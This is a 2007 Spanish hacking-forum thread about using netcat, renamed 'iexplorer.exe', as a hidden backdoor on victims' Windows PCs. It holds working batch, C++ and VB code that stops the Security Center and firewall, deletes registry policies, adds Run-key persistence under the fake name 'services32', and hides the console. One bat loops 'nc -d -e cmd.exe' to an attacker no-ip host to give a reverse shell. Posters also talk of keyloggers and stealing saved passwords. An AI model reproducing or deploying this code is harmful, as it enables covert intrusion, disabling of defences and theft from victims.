Autor
|
Tema: Jugando con netcat (Leído 381,335 veces)
|
WHK
|
dasdas: ------------------------------------------------------------------- Citar: iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25 ------------------------------------------------------------------- Si pones esto en un SFX no te lo ejecutará ya que el simbolo "|" es un modificador de la consola de comandos y no del SFX sea de winrar o winzip... para eso puedes escribir esto: "%homedrive%%windir%\system32\cmd.exe" /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25y con esto harás pasar tu comando directamente a traves de la consola de comandos ejecutando tu modificador "|"
|
|
|
En línea
|
|
|
|
dasdas
Desconectado
Mensajes: 76
|
bueno, muchas gracias cracka, no tenia npi de esto. ah, un dato esto de "|" se le llama tubería, hehehe, nada de simbolitos xD otro temita, se podria ir enumerando las posibles causas que pueden hacer que aunque la victima ejecutase el ejecutable, nosotros no recibieramos la shell. porque de momento he tenido clientes que no he recibido respuesta. y por ultimo, la manera de como ahora se inicia cada vez que se arranca no me gusta mucho ya que hay sistemas que no se conectan a internet hasta al cabo de unos segundos, ya sea porque usan wifi, o cualquier cosa, se podria pensar otra manera. ACT: Va ser que tu metodo.... no rula, bueno, he cambiado todo eso por: cmd.exe /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25 pero sigue abriendose una ventana de shell, aunque ahora ya no sale el comando... en este caso no importaria mucho si no fuese que cuando se cierra la shell, ya no tira...
|
|
« Última modificación: 12 Abril 2007, 16:47 pm por dasdas »
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 2.323
YO NO LA VOTE!
|
Hice un pequenio programa en c/c++ para lograr ejecutar comandos y desvincularlos de la shell
osea si tienes un bat que sea @echo off echo "hola mundo" > hola.txt cls exit
si lo ejecutas en la shell se cerrara por el comando "exit" entonces con este programa no se cerrara pork lo ejecuta en otro hilo y sirve para ocultar los bats asi no sale la pantalla de MS-DOS
^^ ahi te mande un MP a WHK
nos comunicamos y te mando el .exe y el codigo fuente
y si kieres un video de como funciona =)
^^" el credito es todo tuyo.. y esperemos que le pongan chincheta a este hilo =D
¿alquien mas tubo problemas para pasar archivos con TFTP?
estoy intentando hacer herramientas para lograr ejecutar del otro lado.. como capturar contraseñas guardadas en el registro o la memoria.. incluso un keylogger para cerrar el msn con TASKILL y luego conseguir la contraseña q ingresa ^^
Nos comunicamos Suerte! =D
MUY BUEN TUTO!! ^^ =P te ganaste una medalla! xD
|
|
|
En línea
|
Experimental Serial Lain [Linux User]
|
|
|
dasdas
Desconectado
Mensajes: 76
|
no vas a poner el SC?
|
|
|
En línea
|
|
|
|
WHK
|
aver... les intereó tanto el tema que les complicaré un poco la existencia con programación en batch, VB y en C para que puedan aplicar sus propias conclusiones y todo lo que se les venga a la mente, ya que por lo visto este post ya lo está mirando gente con un poco de conocimiento en programación. Bueno... aya voy.. aver si me resulta porque todo esto será improvisado :-s BATCH:services32.bat REM Creado por WHK para el foro de elhacker.net @echo off Echo Actualizando el sistema... net stop Centro de seguridad > nul net stop Firewall de Windows/Conexión compartida a Internet (ICS) >nul set nc=cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25 reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "services32" /t REG_SZ /d "%nc%" /f >nul at 12:00 "%nc%" %nc% cls Echo terminado! exitC: services32.cpp// Compilar en modo no consola // Creado por WHK para el foro de elhacker.net //suponiendo que iexplorer es tu netcat hacemos lo siguiente:
#include <windows.h> #include <stdlib.h> #include <stdio.h>
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { // Modificamos el registro para poder usar el comando "reg" en system("reg ad"); con toda tranquilidad HKEY reg1; if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, ®1) == ERROR_SUCCESS) { if (RegQueryValueEx(reg1, "DisableRegistryTools", NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { if (RegDeleteValue(reg1, "DisableRegistryTools") == ERROR_SUCCESS) printf("\nDisableRegistryTools : Modificado."); else printf("\nDisableRegistryTools : Imposible modificar."); } else printf("\nDisableRegistryTools : Inexistente."); } else printf("\nDisableRegistryTools : Inaccesible."); // comprobamos que podemos ejecutar el netcat :s HKEY reg2; if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\explorer", 0, KEY_ALL_ACCESS, ®2) == ERROR_SUCCESS) { if (RegQueryValueEx(reg2, "RestrictRun", NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { if (RegDeleteValue(reg2, "RestrictRun") == ERROR_SUCCESS) printf("\nRestrictRun : Modificado."); else printf("\nRestrictRun : Imposible modificar."); } else printf("\nRestrictRun : Inexistente."); } else printf("\nRestrictRun : Inaccesible."); //estas dos modificaciones es lo mismo que los primeros pero en HKLM en ves de HKCU HKEY reg3; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, ®3) == ERROR_SUCCESS) { if (RegQueryValueEx(reg3, "DisableRegistryTools", NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { if (RegDeleteValue(reg3, "DisableRegistryTools") == ERROR_SUCCESS) printf("\nDisableRegistryTools : Modificado."); else printf("\nDisableRegistryTools : Imposible modificar."); } else printf("\nDisableRegistryTools : Inexistente."); } else printf("\nDisableRegistryTools : Inaccesible.");
HKEY reg4; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\explorer", 0, KEY_ALL_ACCESS, ®4) == ERROR_SUCCESS) { if (RegQueryValueEx(reg4, "RestrictRun", NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { if (RegDeleteValue(reg4, "RestrictRun") == ERROR_SUCCESS) printf("\nRestrictRun : Modificado."); else printf("\nRestrictRun : Imposible modificar."); } else printf("\nRestrictRun : Inexistente."); } else printf("\nRestrictRun : Inaccesible."); // Comprobamos que nuestro netcat no ha sido borrado por el antivirus XD FILE *pf; char cad[80]; if (!(pf=fopen("iexplorer.exe","rb"))) // controlamos si se produce un error { printf("Error al abrir el fichero"); exit(0); // abandonamos el programa } else { fclose(pf); } system ("ping -n 2 127.0.0.1 > nul");// esto retarda un segundo para que pueda aparecer la consola de comandos antes de: ShowWindow(GetForegroundWindow(),SW_HIDE); // esconder la consola system ("net stop Centro de seguridad"); system ("net stop Firewall de Windows/Conexión compartida a Internet (ICS)"); system ("reg add HKcU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"services32\" /t REG_SZ /d \"services32.exe\" /f"); system ("ping -n 50 127.0.0.1 > nul"); system ("at 12:00 cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25"); // nos aprobechamos y lo metemos en modo SYSTEM en casi que en modo user no funcione :/ system ("cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25"); return 0; }
VB: Services32.vbp
' Creado por WHK para el foro de elhacker.net
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess&, ByVal bInheritHandle&, ByVal dwProcessId&) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Sub ParaServiciosYcreaUsuario() Dim hShell As Long Dim hProc As Long Dim codExit As Long Dim sCmd As String Dim Comando As String ' Para el servicio de Centro de seguridad Comando = "net stop " & Chr(34) & "Centro de seguridad" & Chr(34) sCmd = "cmd /c " & Comando hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide) ' el Chr(34) son las comillas dobles, para ejecutar un commando de MSDOS que sea una frase larga necesitamos ejecutarlo con dobles comillas, pues así se pondría para que VB lo ejecute bien. ' Para el servicio del Firewall de Windows Comando = "net stop " & Chr(34) & "Firewall de Windows/Conexión compartida a Internet (ICS)" & Chr(34) sCmd = "cmd /c " & Comando hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide) ' Ejecutamos netcat comando = "cmd /c iexplorer.exe -d 127.0.0.1 21 | cmd.exe | iexplorer.exe -d 127.0.0.1 25" & Chr (34) sCmd = "cmd /c " & Comando hShell = Shell(Environ$("Comspec") & " /c " & sCmd, vbHide) End Sub
Sub MeteloEnRegistro() Dim hregkey As Long Dim subkey As String subkey = "Software\Microsoft\Windows\CurrentVersion\Run" Dim stringbuffer As String Dim PathPrograma As String PathPrograma = "C:\WINDOWS\system32\services32.exe" Dim NombrePrograma As String NombrePrograma = "Services32.exe" retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then Debug.Print "Can't open the subkey" Exit Sub End If
stringbuffer = PathPrograma & vbNullChar retval = RegSetValueEx(hregkey, NombrePrograma, 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) RegCloseKey hregkey End Sub
Y necesitamos en un módulo meter esto:
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001 Public Const KEY_WRITE = &H20006 Public Const REG_SZ = 1 ------------------------------------------------------------------ Bueno.. cada uno pipea el netcat de formas diferentes para que cada uno pueda sacar sus propias conclusiones Aver si ahora hechan a volar un poco mas la imaginación. Att Yan Unilola Software.
|
|
« Última modificación: 12 Abril 2007, 22:49 pm por WHK »
|
En línea
|
|
|
|
dasdas
Desconectado
Mensajes: 76
|
muy currado, gracias crack!
|
|
|
En línea
|
|
|
|
EvilGoblin
Desconectado
Mensajes: 2.323
YO NO LA VOTE!
|
Este es el que uso para ejecutar algun comando y desvincularlo de la shell //Eject Threads By Evilgoblin V 0.0000001 xD #include <iostream.h> #include <windows.h> #include <time.h>
int a = 0; char comando[40];
DWORD WINAPI ThFunc(LPVOID a) { system(comando); cout << "Guardado en a.txt" << endl; }
int main(int argc, char *argv[]) { sprintf (comando,"%s%s" , argv[1]," > a.txt"); DWORD dwThreadID = 1; HANDLE hThread;
hThread = CreateThread(NULL,0,ThFunc,&a,0,&dwThreadID); Sleep(100); return 0; }
y este es el bat @echo off
:hola nc -d -e cmd.exe midominio.no-ip.info 2333 ping 127.0.0.1 goto hola
Entonces yo con el programa ejecuto el bat y queda continuamente ejecutandose y no sale la ventana negra y si cierro la shell en la que estoy y abro netcat a la escucha en 2333 Vuelve a abrir la shell AdeW! =D
|
|
|
En línea
|
Experimental Serial Lain [Linux User]
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Ya era hora de que le pusieran chincheta... para todo aquel que no sabe que uso darle al netcat... y para todo aquel que se queda sin ideas, Muy bueno
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
WHK
|
Bueno aver que les parece un programa que estoy haciendo para ustedes (aún no terminado) donde le saca el provecho a todas las secciones de jugando con netcat... algo muy basico... para que todos puedan aprender a sacarle el jugo en Visual Basic: Si no se ve bien la imagen por el tamaño puedes verla acá: http://www.geocities.com/whk_elhacker_net_2111/nc99.gifaún no está terminada porque falta devolver en donde dice "log" los mensajes que genere el netcat debuelta, pero todas las funciones (exepto una) funcionan muy bien... la unica que no funciona aún es donde dice "ejecutar en modo system" porque me las estoy ingeniando para adelantar un minuto sobre el comando AT que posibilita ejecuciones en modo SYSTEM. Les dejo el codigo fuente para que hagan lo que se les de la gana y aprendan como vincular conexiones y ejecuciones con netcat y VB. Salu2
|
|
|
En línea
|
|
|
|
santyuste
Desconectado
Mensajes: 52
|
Tengo una duda con el netcat Estoy usando el netcat en un pc que esta dentro de una red local "C:\tmp\nc.exe -d -e cmd myip 5555", se me conecta a un puerto que tengo otro netcat escuchando "c:\windows\system32\nc -v -l -p 5555"
Se me conecta bien, pero cuando uso el edit.exe o cualquier otro programa similar no me aparece por pantalla.
¿por que pasa esto?
Saludos
|
|
|
En línea
|
|
|
|
|
|